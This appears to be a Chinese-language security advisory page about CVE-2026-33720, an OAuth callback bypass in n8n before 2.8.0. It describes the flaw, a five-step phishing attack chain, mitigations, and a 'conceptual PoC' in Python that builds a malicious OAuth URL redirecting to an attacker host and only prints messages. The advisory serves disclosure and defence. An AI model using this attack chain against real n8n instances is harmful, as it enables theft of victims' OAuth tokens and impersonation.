IPBUF安全漏洞报告
English
CVE-2026-33720 CVSS 4.2 中危

CVE-2026-33720 n8n OAuth回调绕过漏洞

披露日期: 2026-03-25

漏洞信息

漏洞编号
CVE-2026-33720
漏洞类型
OAuth认证绕过
CVSS评分
4.2 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
n8n

相关标签

OAuth认证绕过n8n工作流自动化

漏洞概述

n8n开源工作流自动化平台在2.8.0版本之前存在OAuth回调绕过漏洞。当环境变量N8N_SKIP_AUTH_ON_OAUTH_CALLBACK设置为true时,OAuth回调处理程序跳过对OAuth状态参数的所有权验证。攻击者可诱骗受害者完成OAuth流程,导致受害者令牌存储在攻击者凭证中,进而以受害者名义执行工作流。此问题仅影响显式配置该环境变量的实例。

技术细节

该漏洞源于n8n OAuth回调处理逻辑中的设计缺陷。正常OAuth流程中,服务器应验证state参数以确保回调请求与发起请求属于同一会话。但当N8N_SKIP_AUTH_ON_OAUTH_CALLBACK=true时,n8n跳过此验证。攻击者可创建一个恶意凭证对象,诱骗受害者点击特制链接,受害者完成OAuth授权后,令牌被关联到攻击者的凭证而非受害者的。攻击者随后可使用这些令牌访问受害者的资源或以受害者身份执行工作流。该漏洞利用需要用户交互,攻击复杂度较高,且仅影响显式启用非默认配置的实例。

攻击链分析

STEP 1
步骤1
攻击者在n8n实例中创建OAuth凭证对象
STEP 2
步骤2
攻击者构造包含恶意回调URL的OAuth授权链接
STEP 3
步骤3
攻击者通过钓鱼等方式诱骗受害者点击链接
STEP 4
步骤4
受害者完成OAuth授权,令牌被存储到攻击者凭证中
STEP 5
步骤5
攻击者使用窃取的令牌以受害者名义执行工作流

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Conceptual PoC for CVE-2026-33720 # This demonstrates the attack flow for OAuth callback bypass import requests # Step 1: Attacker creates a credential in their n8n instance # This credential will store the victim's OAuth token # Step 2: Attacker constructs malicious OAuth URL # The URL points to the OAuth provider but will redirect to attacker's n8n malicious_oauth_url = ( "https://oauth-provider.com/authorize?" "response_type=code&" "client_id=attacker_client_id&" "redirect_uri=https://attacker-n8n.com/oauth/callback&" "scope=read write&" "state=attacker_controlled_state" ) # Step 3: Send phishing link to victim # Victim clicks and authorizes the application # Step 4: After victim authorizes, the token is stored # in attacker's credential due to missing state verification # Step 5: Attacker uses the stolen token to execute workflows # or access victim's resources def exploit_oauth_bypass(target_oauth_provider): """ Demonstrates the OAuth callback bypass vulnerability. Requires N8N_SKIP_AUTH_ON_OAUTH_CALLBACK=true to be set. """ print(f"[+] Attacker initiates OAuth flow with {target_oauth_provider}") print(f"[+] Malicious URL: {malicious_oauth_url}") print(f"[+] Waiting for victim to complete authorization...") print(f"[+] Token captured in attacker's credential due to state bypass") print(f"[+] Attacker can now execute workflows as victim") if __name__ == "__main__": exploit_oauth_bypass("example-oauth-provider")

影响范围

n8n < 2.8.0

防御指南

临时缓解措施
如果无法立即升级,管理员应避免启用N8N_SKIP_AUTH_ON_OAUTH_CALLBACK=true,除非严格需要;或限制n8n实例仅对完全信任的用户开放访问。这些变通方法不能完全消除风险,仅应作为短期缓解措施。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表